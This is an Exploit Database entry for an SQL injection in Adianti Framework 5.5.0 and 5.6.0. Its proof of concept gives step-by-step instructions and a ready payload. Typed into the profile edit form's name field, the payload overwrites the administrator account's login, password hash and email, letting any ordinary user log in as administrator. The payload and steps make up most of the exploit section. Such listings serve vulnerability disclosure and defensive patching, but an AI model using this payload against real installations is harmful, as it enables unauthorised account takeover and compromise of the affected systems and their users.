



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS



ONLINE TRAINING

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

# Adianti Framework 5.5.0 - SQL Injection

**EDB-ID:**

46217

**CVE:**

N/A

**EDB Verified:** ✘

**Author:**

[JONER DE MELLO ASSOLIN](#)

**Type:**

[WEBAPPS](#)

**Exploit:**   / 

**Platform:**

[PHP](#)

**Date:**

2019-01-21

**Vulnerable App:**



 EXPLOIT DATABASE EXPLOITS GHDB PAPERS SHELLCODES SEARCH EDB SEARCHSPLOIT MANUAL SUBMISSIONS ONLINE TRAINING

```
# Exploit Title: [SQL Injection in Adianti Framework]
# Date: [2018-12-18]
# Exploit Author: [Joner de Mello Assolin]
# Vendor Homepage: [https://www.adianti.com.br]
# Version: [5.5.0 and 5.6.0] (REQUIRED)
# Tested on: [XAMPP Version 7.2.2, phpMyAdmin 4.7.7 and 4.8.4, PHP 7.1 ,
Apache/2.4.29 (Win32) , libmysql - mysqlnd 5.0.12-dev - 20150407 and
MariaDB 10.1]
# Software Link: [https://www.adianti.com.br/download-center?app=template]
```

The failure allows any ordinary user to enter SQL Injection and take over the administrator account or any other user of the system, by editing the profile itself.

#### POC:

1-Register an ordinary user or use the framework standard(user=user password=user)

2- Access the user profile and click edit  
<http://localhost/template/index.php?class=SystemProfileForm&method=onEdit>

3- In the field name enter SQL injection and click Save:

```
(SELECT 'hackedo'),login=(SELECT 'anonymous'),password=(SELECT
'294de3557d9d00b3d2d8a1e6aab028cf'),email=(SELECT
'anonymous@anonymous.com')WHERE `id`=1#
```

4-Go to the login screen and enter username and password: Now you can log in as administrator!.

USER: anonymous

PASSWORD: anonymous

Tags: [SQL Injection \(SQLi\)](#)

Advisory/Source: [Link](#)



Databases ▾

Links ▾

Sites ▾

Solutions ▾



EXPLOIT DATABASE BY OFFSEC

[TERMS](#)

[PRIVACY](#)

[ABOUT US](#)

[FAQ](#)

[COOKIES](#)

©

[OffSec Services Limited](#) 2026. All rights reserved.